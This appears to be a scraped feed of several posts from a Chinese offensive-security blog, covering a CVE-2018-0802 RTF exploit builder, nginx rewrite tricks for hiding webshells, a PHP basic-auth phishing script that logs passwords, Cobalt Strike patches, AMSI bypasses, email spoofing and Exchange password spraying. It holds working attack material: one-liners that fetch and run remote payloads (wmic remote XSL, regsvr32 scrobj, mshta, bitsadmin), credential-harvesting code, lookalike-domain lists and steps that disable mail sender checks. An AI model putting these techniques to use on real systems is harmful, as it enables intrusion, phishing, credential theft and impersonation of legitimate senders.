Quantcast
Channel: Evi1cg's blog

CVE-2018-0802利用

$
0
0

在CVE-2017-11882之后,2018年1月份又出了一个新的“噩梦公式二代”,在野样本嵌入了利用Nday漏洞和0day漏洞的2个公式对象同时进行攻击,Nday漏洞可以攻击未打补丁的系统,0day漏洞则攻击全补丁系统,绕过了CVE-2017-11882补丁的ASLR(地址随机化)安全保护措施,攻击最终将在用户电脑中植入恶意的远程控制程序。关于此漏洞的分析,可以看这里,今天看到在github公开了一个CVE-2018-0802的利用脚本,地址在这,为了达到最完美的利用,所以编写了RTF_11882_0802。

GITHUB:
此脚本集合了两个公式利用漏洞。

利用方式与之前的方式一样。

python RTF_11882_0802.py -c "cmd.exe /c calc.exe"  -i test.rtf -o test.doc

其实就是简单粗暴的把两个公式编辑器插入文档中,一个是11882,一个是0802。

“噩梦公式二代”(CVE-2018-0802)所使用的0day漏洞堪称CVE-2017-11882的双胞胎漏洞,攻击样本中的一个漏洞针对未打补丁前的系统,另外一个漏洞针对打补丁后的系统,利用两个OLE同时进行攻击,黑客精心构造的攻击完美兼容了系统漏洞补丁环境的不同情况。这个漏洞的利用技巧和Bypass ASLR的方式都带有一定的巧合性,假如EQNEDT32.EXE模块内没有一条满足条件的ret指令可以用来绕过ASLR,假如lpLogFont不是sub_21774的第一个参数,假如CVE-2017-11882的补丁修复方式强制开启了DEP保护,“噩梦公式二代”将没有可乘之机。

解决方案

一、及时更新补丁

补丁下载地址:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0802

二、通过注册表禁用此模块,可通过修改注册表,禁用以下COM控件的方式进行缓解,其中XX.X为版本号

在运行中输入:

reg add “HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COMCompatibility\{0002CE02-0000- 0000-C000-000000000046}” /v”Compatibility Flags” /t REG_DWORD /d 0×400
reg add”HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COMCompatibility\{0002CE02-0000-0000-C000-000000000046}” /v”Compatibility Flags” /t REG_DWORD /d 0×400

注:此脚本只是为了安全研究,切勿非法使用!使用此脚本所造成的一切法律问题及后果,本站概不负责!


Hack with rewrite

$
0
0

0x00 简介

大家都知道apache,nginx等有rewrite的功能,通过rewrite规则可以把输入的URL转换成另一个URL,这是我们常见的一种需求,可以让我们的url变得更加简洁。但是其实这个功能也可被用于一些别的目的。下面就简单的介绍一下。

0x01 后门

关于通过配置文件做后门已经有很多文章有了介绍,即.htaccess.user.ini文件构造后门,关于.htaccess后门可以看这里,user.ini后门P牛也发过一篇文章,可以看这里,当然还有柠檬师傅的php.ini构成的后门。那么跟rewrite有什么关系呢。其实rewrite主要是为了逃避日志审查,通过rewrite,我们可以通过访问一个图片后缀的文件来执行我们的webshell,但是修改这些配置文件需要一定的权限。下面来进行一下简单的介绍。测试的时候主要是使用nginx,所以对nginx进行一下介绍,关于apache的配置有兴趣可以自己去查一波。下面是我的配置:
ngingx.conf

worker_processes  1;
events {
    worker_connections  1024;
}
http {
    include       mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;
    include /usr/local/nginx/vhosts/*.conf;
    server {
        listen       80;
        server_name  localhost;
        location / {
            root   html;
            index  index.html index.htm;
        }
        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   html;
        }
    }
}

配置了多个域名的配置,所以针对某个域名的配置文件在vhosts里面,要配置的域名的配置文件:mydomain.conf

server {
    listen 80;
    server_name  mydomain.com;
    root /www/mydomain;
    index index.html index.php;
    if ( $query_string ~* ".*[\;'\<\>].*" ){
        return 404;
    }
    location ~ .*\.(gif|jpg|jpeg|bmp|png|swf|flv|ico)$ {
        expires 30d;
    }

    location ~ .*\.(js|css)?$ {
        expires 7d;
    }
    location ~ \.php$ {
        fastcgi_pass   127.0.0.1:9000;
        fastcgi_index  index.php;

        include        fastcgi_params;
        #设置PATH_INFO并改写SCRIPT_FILENAME,SCRIPT_NAME服务器环境变量
        set $fastcgi_script_name2 $fastcgi_script_name;
        if ($fastcgi_script_name ~ "^(.+\.php)(/.+)$") {
            set $fastcgi_script_name2 $1;
            set $path_info $2;
        }
        fastcgi_param   PATH_INFO $path_info;
        fastcgi_param   SCRIPT_FILENAME   $document_root$fastcgi_script_name2;
        fastcgi_param   SCRIPT_NAME   $fastcgi_script_name2;
    }
}

要配置重定向很简单,只需要加入

    location ~ \.png$ {
    rewrite ^/img/test\.png$ /img/test.php last;
    }

意思是匹配以png结尾的url,如果匹配到 img/test.png,则重定向到 img/test.php,所以,只需要在img目录下存放test.php,我们就可以通过访问 http://domain.com/img/test.png来访问。如下图:
1520482949500.png

关于更多匹配的规则,可以看这篇文章

配置完需要重启nginx服务。

0x02 基础认证钓鱼

关于基础认证钓鱼,其实很早之前就已经有文章介绍过了,比如如何制作基础认证钓鱼页面。其实原理就是在页面中插入一个php的img,即:

<img src="http://site.com/1.php"alt="Could not load image - Invalid credentils."/>>

php的代码就是401的验证,当用户打开这个页面的时候,由于请求了http://site.com/1.php,所以会弹出验证的页面,用户输入账号密码之后,密码则会被攻击者记录。

注:这种方法适用于Firefox和IE浏览器,Chrome并不会弹出基础认证窗口。

为了让此攻击达到更好地隐蔽效果,我们可以使用rewrite来重写url。则使得访问的链接文件后缀为一个图片。为了达到更好地攻击效果,写了以下php代码:

<?php
$now = new DateTime();
$user = isset($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : "";
$pass = isset($_SERVER['PHP_AUTH_PW'])   ? $_SERVER['PHP_AUTH_PW']   : "";
if ($user && $pass){
    $fp = fopen("count.txt", "a");
    $content = fread($fp);
    $ip = $_SERVER["REMOTE_ADDR"];
    $all = file_get_contents("count.txt");
    fwrite($fp, $now->format("Y-m-d H:i:s") . "\t" . $ip . "\t" . $user . ":" . $pass . "\n");
    $line = substr_count($all,$ip);
    fclose($fp);
}
if($line < 2){
    header('WWW-Authenticate: Basic realm="Corporate domain"');
}else{
    header('content-type: image/png');
    echo file_get_contents("test.png");
}
?>

代码的功能就是弹出认证窗口,等待用户输入,并将输入的账号密码存到count.txt,如果此用户输入已达3次(一次输入可能是随便输入的账号密码),则输出正常图片。演示如下:

4878.gif
当然,你可以自己定义其他功能,比如将账号密码发送到邮箱等等。

php代码写好了,怎么利用呢?
其实我们要做到就是找各种编辑器,找那种可以远程插入图片的,然后插入我们的链接,如果网站直接把链接插入网站,那么在加载的时候,就会加载我们的验证页面。rewrite除了可以让后缀看起来是一个图片文件,其实还可以对一些编辑器进行绕过,比如插入远程图片的时候,编辑器对图片进行预览:

1520488071492.png

碰到这种情况,我们可以首先使用默认配置的nginx插入图片,如下图:

1520488284941.png

插入成功并提交以后,再重新修改rewrite。这样可以进行一些绕过。某种情景的攻击如下:
demo:
demo.gif

为了达到更好地效果。攻击者可以注册一个看起来受信任的域名。比如说,如果攻击者的目标是targetdomain.com,那么他就可以注册如下的类似地址:

targetdomain.co
targetdomain.net
target-domain.com
targetdomain-oauth.com
targetdomain-cdn.com
targetdomain-images.com
login-targetdomain.com

Cobalt strike3.8 中文支持

$
0
0

0x00 简介

cobaltstrike3.10 已经出来很久了,其中最吸引人的可能就是他已经支持中文了,但是貌似很久以来都没在网上看到3.10的资源,所以就没办法,拿手上的3.8 改改将就用。

0x01 反编译

首先我们要对cobaltstrike3.8进行反编译,这里可以参照之前破解的方法,戳我,使用jad进行反编译。

1522336230599.png

0x02 修改代码

要怎么定位到要改哪里呢?
我们可以看一下CS的输出:

1522336286954.png

可以看到在输出之前有received output,所以我们就可以检索这个关键字,马上可以定位到BeaconC2.class文件,搜索“received output”一共有5个结果:

1522336540818.png

查看代码如下:

1522336597408.png

可以看到,输出的结果是由CommonUtils类的bString方法返回的,定位到CommonUtils.class文件查看代码:

1522336678669.png

可以看到传过来的数据使用 ISO8859-1 进行了编码。ISO8859-1属于单字节编码,最多能表示的字符范围是0-255,应用于英文系列。比如,字母a的编码为0x61=97。 很明显, ISO8859-1 编码表示的字符范围很窄,无法表示中文字符。这就是CS无法显示中文的原因。经过测试,使用 ISO8859-1 进行中间编码是不会导致数据丢失的。那么我们是不是可以修改代码把编码转过来来呢?当然可以 !

但是由于自己比较菜,直接修改CommonUtils.java以后编译不过去(表示很难受,如果你会编译,还希望不吝赐教)。所以只能去修改BeaconC2.java。

经过多次测试,发现在CS上执行命令以后返回的结果编码为GBK,所以转码过程为
CommonUtils.java转码:

GBK -> ISO8859-1

我们要修改的BeaconC2.

ISO8859-1 -> GBK -> UTF-8

所以思路就很明朗了,我们只需要在传入rest之前把中文转换成UTF-8就可以了,代码也很简单,测试如下:

1522337535419.png)

所以关键代码为:

String tmp = CommonUtils.bString(CommonUtils.readAll(in));
String tmp1 = new String(tmp.getBytes("ISO8859-1"),"gbk");
String rest = new String(tmp1.getBytes(),"utf-8");

源代码是这样:

1522337880400.png

修改以后是这样:

1522337852391.png

所以找到所有的:

 String rest = CommonUtils.bString(CommonUtils.readAll(in));

替换即可。

0x03 编译替换

修改以后,需要把BeaconC2.java编译之后替换原来的BeaconC2.class。编译方法很简单,只需要把BeaconC2.java放到解压以后的CS目录,执行以下命令:

javac -classpath . BeaconC2.java -Xlint:unchecked

在这里,可能会碰到以下报错

1522338365724.png

这里可以改一下代码,将

import c2profile.MalleableHook.MyHook;
import dns.DNSServer.Handler;

改为:

import c2profile.MalleableHook;
import dns.DNSServer;

在进行编译即可。之后将原来的BeaconC2.class替换,我们的CS就修改完成了。

0x04 效果

这里录了一个DEMO:

CS.gif

这里就不给CS了,分享一下改好的BeaconC2.class,用的时候只需要把CS用压缩包格式打开,直接替换beacon目录下的BeaconC2.class就好了。下载戳我

使用hashcat破解加密office文件

$
0
0

首先要下载 office2john.py,支持破解的加密为office自带的加密功能,即:
83000-eyr1re7d788.png
使用office2john将office转换为hash:

python office2john.py 123.docx > hash.txt

48261-cl8sxps7xum.png
使用以下命令进行切割,转换成hashcat支持的形式:

awk -F ":" '{print $2}' hash.txt > hashhc.txt

06114-1kst5rl8a9g.png
使用hashcat进行破解:

hashcat -m 9500 hashhc.txt ~/wordlist/passwd.txt -o out.txt

这里我使用了office2010,所以选择9500,要根据对应版本来选择

选择版本可以使用 hashcat --help 来查看
17293-xqb7bq65lso.png
破解成功如下:
56296-fi7e6sribvo.png

DotNetToJScript 复活之路

$
0
0

0x00 简介

去年James Forshaw开源了一个工具DotNetToJScript,能够利用JS、Vbs等脚本加载.Net程序。再此工具发布以后,很多很多的工具也在此基础上产生,比如StarFightersCACTUSTORCHSharpShooter等等,基于脚本的攻击也随之越来越多,所以在win10中,微软引入了AMSI,并将基于DotNetToJScript的脚本特征加入到检测之列。并将此工具标记为恶意软件。如果直接运行通过DotNetToJScript生成的脚本,便会直接拦截,如下图
1530067126795.png
最近,学到了两种bypass的方式,所以进行一下分享。

0x01 禁用AMSI

这里讲的禁用AMSI并不需要高权限,只需要一个简单的Trick,这个是从这篇文章学来的,通过Process Monitor 进行查看,设置以下过滤器:
1530067444682.png
运行通过DotNetToJScript生成的脚本,可以监控到以下调用过程:
1530067501155.png
这里我们可以看到,在加载AMSI之前,查询了以下注册表键值HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable,尝试修改此键值为0:
1530067589819.png
再次运行脚本,可以看到shellcode成功执行了,如下图:
bypass
虽然修改注册表可以实现禁用AMSI,但是需要高权限,那怎样才可以在普通权限下禁用AMSI,其实通过@tiraniddo的文章我们可以看到,其实可以通过DLL劫持来进行绕过。通过Process Monitor可以看到检测过程中调用了C:\Windows\System32\amsi.dll,如果我们把cscript.exe 重命名成amsi.dll会怎么样呢?

copy c:\windows\system32\cscript.exe amsi.dll
amsi.dll evil.js

dllhijack

可以看到成功shellcode 成功执行了,修改过滤器如下:
1530068708904.png
我们来看一下调用过程
1530068764803.png
可以看到,现在已经没有调用C:\Windows\System32\amsi.dll,这也就让我们成功执行了我们的shellcode。

0x02 利用wmic

Casey Smith@subTee在博客分享的一个技巧,使用wmic能够从本地或从URL调用XSL(可扩展样式表语言)脚本。经过测试,通过此方式来调用DotNetToJScript的脚本也是可以成功执行的。subTee的文章在这。利用命令如下:

#Local File
wmic process list /FORMAT:evil.xsl
#Remote File
wmic os get /FORMAT:"https://example.com/evil.xsl"

evil.xsl

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
    <ms:script implements-prefix="user" language="JScript">
    <![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    ]]> </ms:script>
</stylesheet>

修改好的脚本,可以看这里:戳我
使用一下命令则可执行shellcode

wmic os get /FORMAT:"https://raw.githubusercontent.com/Ridter/AMSI_bypass/master/shellcode.xsl"

但是使用wmic执行的时候会有一个问题,在powershell下执行会失败。如下图:
1530081940192.png

那么怎么调用呢?
在读了mdsec的这篇文章以后,我们发现,其实是可以通过COM来调用的。用javascript写可以这样:

var xml = new ActiveXObject("Microsoft.XMLDOM");
xml.async = false;
var xsl = xml;
xsl.load("http://host/a.xsl");
xml.transformNode(xsl);
self.close();

那这样我们就可以构造HTA来远程调用了。为了方便使用,我已经写好了一个aggressor脚本,地址:
GITHUB:

使用如下图:
demo

0x03参考

https://tyranidslair.blogspot.com/2018/06/disabling-amsi-in-jscript-with-one.html
https://subt0x11.blogspot.ca/2018/04/wmicexe-whitelisting-bypass-hacking.html?m=1
https://www.mdsec.co.uk/2018/06/freestyling-with-sharpshooter-v1-0/

Cobal Strike 自定义OneLiner

$
0
0

0x00 起因

在使用Cobal Strike的过程中,我们可以看到里面已经集成了几种 Script Web Delivery,如下图:

19484-drjxyu0m4wg.png

而且在生成以后打开site,只需要点击Copy URL就可以把命令复制出来,再写aggressor脚本时也想要实现这个功能,发现copy以后只有url,并没有命令,所以为了一探究竟,还是把CS解压,grep了一把,定位到common.CommonUtils,发现了OneLiner方法:
73927-nvotona7nxc.png

所以要实现这个功能我们就需要对这个class进行修改,增加我们想要的命令。

0x01 使用javassist修改class

Javassist是一个能够操作字节码框架,通过它我们能很轻易的修改class代码。首先下载javassist ,新建一个java工程,右键工程导入javassist包。

15585-gsx22q9953w.png

我们可能常用mshta http://host/test.png 的方式来请求payload,可以使用一下代码进行添加:

package changeclass;

import java.io.IOException;

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.NotFoundException;

public class change {
        public static void main(String[] args) {
            updateMethod();
        }
        
        public static void updateMethod(){
            try {
                ClassPool cPool = new ClassPool(true);
                    //如果该文件引入了其它类,需要利用类似如下方式声明
                //cPool.importPackage("java.util.List");
                
                //设置cobaltstrike.jar文件的位置
                cPool.insertClassPath("/tmp/cobaltstrike.jar");
                
                //获取该要修改的class对象
                CtClass cClass = cPool.get("common.CommonUtils");
                
                //获取到对应的方法
                CtMethod cMethod = cClass.getDeclaredMethod("OneLiner");
                
                //更改该方法的内部实现
                //需要注意的是对于参数的引用要以$开始,不能直接输入参数名称
                cMethod.setBody("{ if (\"bitsadmin\".equals($2)) {"
                        + "String f = garbage(\"temp\");"
                        + "return \"cmd.exe /c bitsadmin /transfer \" + f + \" \" + $1 + \" %APPDATA%\\\\\" + f + \".exe&%APPDATA%\\\\\" + f + \".exe&del %APPDATA%\\\\\" + f + \".exe\";}"
                        + "if (\"powershell\".equals($2)) {"
                        + "return PowerShellOneLiner($1);}"
                        + "if (\"python\".equals($2)) {"
                        + "return \"python -c \\\"import urllib2; exec urllib2.urlopen('\" + $1 + \"').read();\\\"\";}"
                        + "if (\"regsvr32\".equals($2)) {"
                        + "return \"regsvr32 /s /n /u /i:\" + $1 + \" scrobj.dll\";}"
                        + "if (\"mshta\".equals($2)) {"
                        + "return \"mshta \" + $1;}"
                        + "if (\"wmic\".equals($2)) {"
                        + "  return \"wmic os get /format:\\\"\" + $1 + \"\\\"\";}"
                        + "print_error(\"'\" + $2 + \"' for URL '\" + $1 + \"' does not have a one-liner\");"
                        + "throw new RuntimeException(\"'\" + $2 + \"' for URL '\" + $1 + \"' does not have a one-liner\");}");
                
                //修改以后输出目录
                cClass.writeFile("/tmp/");
                
                System.out.println("=======修改方法完=========");
            } catch (NotFoundException e) {
                e.printStackTrace();
            } catch (CannotCompileException e) {
                e.printStackTrace();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }

}

在这里要注意的是,方法 OneLiner(String url, String type)有两个参数,方法中的参数从 $1 开始,若该方法为非 static 方法,可以用 $0 来表示该方法实例自身,若该方法为 static 方法,则 $0 不可用。而且写的代码需要将", \ 进行转义。

运行此代码,可成功生成一个新的class:
39332-5o637aqvh1.png

41077-02rq3jqomynr.png

将此class替换CS中的class就好了。

使用的时候只需要在aggressor中site_host中指定即可,例如使用wmic

site_host(%options["host"], %options["port"], %options["uri"], $data, "text/plain", "Scripted Web Delivery (wmic)"); 

使用mshta

site_host(%options["host"], %options["port"], %options["htauri"], $htadata, "application/hta", "Scripted Web Delivery (mshta)");

效果如下:
aaa

已经编译好的class可以从这里下载:
GITHUB:

CS teamserver.bat

$
0
0

CS的teamserver经常是在linux服务器上跑的,有小伙伴问在win server上怎么跑,所以弄了一个批处理,需要的看着改改,win上面需要装java JDK,win上默认没有keytool,所以需要自己去生成一个cobaltstrike.store ~

@echo off   
:check_java
    java -version >nul 2>&1
    if %errorLevel% == 0 (
        goto:check_permissions
    ) else (
        echo [-] is Java installed?
        goto:eof
    )
    
:check_permissions
    echo [+] Administrative permissions required. Detecting permissions...
    net session >nul 2>&1
    if %errorLevel% == 0 (
        echo [+] Success: Administrative permissions confirmed.
        goto:check_certificate
    ) else (
        echo [-] Failure: Current permissions inadequate.
        goto:eof
    )

:check_certificate
    set certificate=".\cobaltstrike.store"
    if exist %certificate% (
        goto:test_arguments
    ) else (
        echo [!] Please generate the cobaltstrike.store !
        echo [!] Example: keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth"
        goto:eof
    )
    
:test_arguments
    set argC=0
    for %%x in (%*) do Set /A argC+=1
    if %argC% LSS 2 (
        echo [-] teamserver ^<host^> ^<password^> [/path/to/c2.profile] [YYYY-MM-DD]
        echo     ^<host^> is the default IP address of this Cobalt Strike team server
        echo     ^<password^> is the shared password to connect to this server
        echo     [/path/to/c2.profile] is your Malleable C2 profile
        echo     [YYYY-MM-DD] is a kill date for Beacon payloads run from this server
        goto:eof
    ) else (
        goto:run_cobal
    )
:run_cobal
    java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer %*

90107-dm8rzqvop8m.png

匿名管道读取CMD回显信息

$
0
0

最近改exp的时候用到的,加到exp里面回显执行信息,保存一份~

#include <windows.h>
#include <stdio.h>
#define EXE_NAME    NULL//TEXT("Cmd.exe")
#define EXE_CMD     TEXT("Cmd.exe /C ipconfig/all")
int main()
{

        char Buffer[4096];
        STARTUPINFO sInfo;//新进程的主窗口特性
        PROCESS_INFORMATION pInfo;
        SECURITY_ATTRIBUTES sa;
        HANDLE hRead, hWrite;
        DWORD bytesRead;    //读取代码的长度
        sa.nLength = sizeof(SECURITY_ATTRIBUTES);/ /结构体的大小,可用SIZEOF取得
        sa.lpSecurityDescriptor = NULL;//安全描述符
        sa.bInheritHandle = TRUE;;/ /安全描述的对象能否被新创建ÆÆ的进程继承

        if (!CreatePipe(&hRead, &hWrite, &sa, 0)) //创建匿名管道
        {
            return GetLastError();//返回最近的一个错误,0表示正常
        }

        GetStartupInfo(&sInfo);
        sInfo.cb = sizeof(sInfo);
        sInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        sInfo.wShowWindow = SW_HIDE;
        sInfo.hStdError = hWrite;   //将管道的写端交给子进程
        sInfo.hStdOutput = hWrite;
        memset(&pInfo, 0, sizeof(pInfo));

        if (!CreateProcess(EXE_NAME, EXE_CMD, NULL, NULL, TRUE, 0, NULL, NULL, &sInfo, &pInfo)) //创建子进程
        {
            CloseHandle(hWrite);
            CloseHandle(hRead);
            return GetLastError();
        }
        CloseHandle(hWrite); //关闭父进程的写端

        
        for (int i = 0;; ++i)
        {
            if (!ReadFile(hRead, Buffer, sizeof(Buffer) - 1, &bytesRead, NULL)) //读取内容
            {
                break;
            }
            Buffer[bytesRead] = 0;
            printf("%s\n", Buffer);

        }

        WaitForSingleObject(pInfo.hProcess, INFINITE);//当等待仍在挂起状态时,句柄被关闭,那么函数行为是未定义的。该句柄必须具有 SYNCHRONIZE 访问权限;
    CloseHandle(hRead);
    system("pause");
    return 0;
}

from: http://www.cnblogs.com/onlyac/p/5346478.html


Something about email spoofing

$
0
0

0x00 这是个啥?

一般来说,我们收到一封邮件之后,都会首先看发件人,如果是比较重要的邮件,我们可能会去看发件人地址,但是,如果发件人是伪造的,你还能知道是谁再给你发邮件么?
当我们在谷歌搜索发件人伪造的时候,可以看到很多很多的网站提供了这样的功能:
1539051635438.png

这些网站没有测试,不知道能不能成功伪造。

那到底是什么导致的发件人伪造呢?下面我们来分析分析造成发件人伪造的成因。

0x01 SMTP是什么?

要想了解成因,我们需要首先了解一下什么是SMTP,首先先了解一下几个概念:
MUA:Mail User Agent。用户邮件代理,用户通过MUA接收发送邮件.例如Outlook, FoxMail等。
MTA: Mail Transfer Protocol。邮件传输代理,是SMTP的一种实现,MTA仅仅负责邮件的传输。如果信件的目的地并不是本身的用户,且该封信的相关数据符合使用 MTA 的权力, 那么MTA 就会将该封信再传送到下一部主机上。这即是所谓的转递的功能。
MDA: Mail Deliver Agent,邮件分发代理。负责将接收到的邮件保存在邮件服务器上,在这里可以设置对邮件进行过滤或自动回复。
MRA: Mail Receive Agent,邮件接收代理,用来实现IMAP,POP3协议,负责与MUA交互,将服务器上的邮件通过IMAP以及POP3传输给客户端。

SMTP全称是Simple Mail Transfer Protocol,直译过来就是简单邮件传输协议,主要的工作就是把邮件信息从发件人的邮件服务器中传送到接收人的邮件服务器中,偶尔我们使用MUA来发送邮件的话,也承载传输用户邮件到发件服务器的功能,但是SMTP存在一个问题,就是没有对发送方进行一个身份验证。用下面的图来说明一下邮件的投递过程。

1539064815052.png

1、用户利用MUA寄信到MTA,这里面包含了几个项:
发信人与发信网站:例如 admin@evi1cg.me,其中evi1cg.me就是发信网站,即收信件的MTA。
收信人与收信网站:例如 admin@email.server,其中admin就是email.server里的一个账号。
2、当MTA收到信件后,会通过DNS的MX记录进行查询,如果email.server是MTA自己,此时MTA就会把邮件交给MDA处理,放置到收信者的信箱中。
3、如果email.server不是自己,那么这个信件就会被转送出去。
4、当远程MTA收到本地MTA转发的邮件后,会将信件交给它的MDA处理,等待用户的读取或下载。

正是由于MTA之间转发邮件是不需要认证的,所以这就成了可以伪造发件人的原因。

0x02 怎么搭建SMTP Server?

如何快速搭建自己的SMTP Server?这个网上有很多教程,这里为了快速搭建,可以选择使用ewomail,代码是开源的,搭建起来也比较方便,也有很好地说明文档,EwoMail是基于postfix和Dovecot,按照说明文档很快就可以部署完毕了,部署完毕以后需要添加用户账号:
1539071369229.png
之后就可以通过添加的账号来发送邮件了。

0x03 如何伪造域名?

关于伪造域名有一个很好用的工具SimpleEmailSpoofer,下面我们就使用这个工具来测试一下:

python SimpleEmailSpoofer.py -t 目标邮箱 -f 要伪造的发件人地址 -n From_name -e 邮件内容 -j 邮件主题 -s 你自己的smtp地址 -p 25 --user 你添加的用户 --pass 你添加用户的密码

1539071731274.png

在这里可以看到报错了,Sender address rejected: not owned by user xxx, 这里是postfix设置的问题。需要进行一下修改/etc/postfix/main.cf
找到smtpd_sender_login_maps,修改为:

smtpd_sender_login_maps = mysql:/etc/postfix/mysql/mysql-sender-login-maps.cf,pcre:/etc/postfix/login_maps.pcre

新建/etc/postfix/login_maps.pcre

/^(.*)$/ test@yourdomain.com

意思是允许用户test@yourdomain.com的用户使用任意domain

找到smtpd_recipient_restrictions,删除reject_unknown_sender_domain,这样就不会对发送的域进行验证了。

修改完成以后,执行以下命令:

postmap /etc/postfix/login_maps.pcre
postfix reload

修改完成以后,再次发送:

1539072657218.png

查看gmail:
1539078304784.png

1539072834239.png

当然,在原始邮件里面,还是有自己的域名信息。如何尽量减少自己的信息,可以参考这篇文章

经过测试,如果收信服务器对SPF校验不通过的邮件未作处理,仍然可以伪造添加过SPF记录的域。如QQ邮箱检查SPF失败就直接拒绝接收邮件,但是gmail仍然接收。这里要注意一点,SPF中如果配置为~all,则表示为接受来信,但是做标记,QQ邮箱里就会接收到此类伪造的邮件,但是回放置于垃圾邮件里。

0x04 如何检测?

这里有一个工具可以用来检测域名是否可以被伪造:spoofcheck,使用很简单,比如baidu:
1539074907929.png

0x05 如何解决?

为了使得域名不会被伪造,需要为域名正确配置SPFDKIMDMARC。只配置SPF是不行的,关于SPF的配置可以参考这里,关于DKIM的配置,可以看这里,关于DMARC的配置可以参考这里

0x06 参考

1、https://www.jianshu.com/p/610d9bf0ae8b
2、http://lomu.me/post/SPF-DKIM-DMARC-PTR
3、https://serverfault.com/questions/318334/how-to-enforce-sender-address-to-be-logged-in-userexample-org-in-postfix
4、https://major.io/2013/04/14/remove-sensitive-information-from-email-headers-with-postfix/
5、https://realtechtalk.com/Postfix_how_to_secure_outgoing_authenticated_emails_for_privacy_and_hide_the_IP_address_mailer_and_other_things-1573-articles

Exchange在渗透测试中的利用

$
0
0

0x00 Exchange简介

Windows Exchange Server,是国内外应用非常广泛的邮件服务器,是微软公司的一套电子邮件服务组件。 简单而言,Exchange server可以被用来构架应用于企业、学校的邮件系统。所以通常渗透测试过程中也会对其进行攻击尝试。

0x01 Exchange Endpoint

通常Exchange Server 有以下endpoint,即可访问的连接如下:

https://Exchangeserver/AutoDiscover/
https://Exchangeserver/Ecp/
https://Exchangeserver/EWS/
https://Exchangeserver/mapi/
https://Exchangeserver/Microsoft-Server-ActiveSync/
https://Exchangeserver/OAB/
https://Exchangeserver/OWA/
https://Exchangeserver/PowerShell/
https://Exchangeserver/Rpc/

每个endpoint的作用如下:

endpoint 说明
/autodiscover 自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。
/ecp "Exchange Control Panel" Exchange管理中心,管理员用于管理组织中的Exchange的Web控制台
/ews "Exchange Web Services" Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互
/mapi Outlook连接Exchange的默认方式,在2013和2013之后开始使用,2010 sp2同样支持
/Microsoft-Server-ActiveSync 用于移动应用程序访问电子邮件
/OAB "Offline Address Book" 用于为Outlook客户端提供地址簿的副本,减轻Exchange的负担
/owa "Outlook Web APP" Exchange owa 借口,用于通过web应用程序访问邮件、日历、任务和联系人等
/powershell 用于服务器管理的Exchange管理控制台
/RPC 早期的Outlook还使用称为Outlook Anywhere的RPC交互

以上endpoint中,常用于暴力破解的有/owa 、/ews、/Microsoft-Server-ActiveSync 及/autodiscover,如owa的暴力破解(passwordspray):
抓取登录包如下:

-w1118

用户名可尝试使用domain\username、domian.com\username、username

使用某密码进行暴力破解:

-w720

/Microsoft-Server-ActiveSync 爆破为401认证,需要对用户账号密码进行base64处理:

-w647

YWRtaW46YWRtaW4= -> admin:admin

/ews/rpc 等几个endpoint同样为401认证,账号密码的加密方式为net-ntlm:

-w1264

爆破需对账号密码进行处理之后在进行。

0x02 Get UserList

验证Exchange

对Exchange的利用首先要确定其是否使用了exchange,关于判断的方式,我知道的方式有:
1、checkO365

-w682

2、owa 登录页面,如:

3、特殊域名:
访问如下域名

https://autodiscover.domain.com/autodiscover/autodiscover.xml
https://owa.domian/owa/
https://mail.domain.com/
https://webmail.domain.com/

获取用户列表

之后我们需要获取其至少一个账号的信息,那么就需要取搜集获取某域的用户列表,除了top username进行爆破,还可以使用theharvesterMailget等工具进行搜集,另外还有一种通过延时来判断的方式。在MailSniper 写了这样几种来判断内部域和存在用户的方法:

  • Invoke-DomainHarvest
  • Invoke-UsernameHarvestOWA
  • Invoke-UsernameHarvestEAS

首先来看Invoke-DomainHarvest,这里通过了几种方式来获取内部域名,构造参数如下:

Invoke-DomainHarvestOWA -ExchHostname domian.com

脚本会构造如下url:

$OWAURL = ("https://" + $ExchHostname + "/owa/auth.owa")
$OWAURL2 = ("https://" + $ExchHostname + "/owa/")
$autodiscoverurl = ("https://" + $ExchHostname + "/autodiscover/autodiscover.xml")
$ewsurl = ("https://" + $ExchHostname + "/EWS/Exchange.asmx")

在未指定brute的情况下,脚本会先请求autodiscoverurl,若失败,再请求ewsurl,并通过请求头里面的net-ntlm数据来猜测内部域名,如:

-w1276

需要注意到是,未指定brute的时候需要更改-ExchHostname 为对应的autodiscoverurl及ewsurl

指定brute的情况下,则会使用通过时间延迟的方式来检测域名是否存在,首先会构造一些不存在的域及用户名请求owa,并记录其响应时间,之后使用构造的域字典及随机用户名来请求owa,根据其响应时间的不同来判断域及用户名,在这里有两种brute方式,第一种通过导入域名列表:

Invoke-DomainHarvestOWA -ExchHostname mail.domain.com -DomainList .\domainlist.txt -OutFile potentially-valid-domains.txt -brute

第二种通过公司名称来猜测:

Invoke-DomainHarvestOWA -ExchHostname mail.domain.com -CompanyName "bla bla" -OutFile potentially-valid-domains.txt -brute

获取域名之后,可导入用户名进行用户名存在检测:

Invoke-UsernameHarvestOWA -ExchHostname mail.domain.com -Domain domainname -UserList .\userlist.txt -Threads 1 -OutFile owa-valid-users.txt
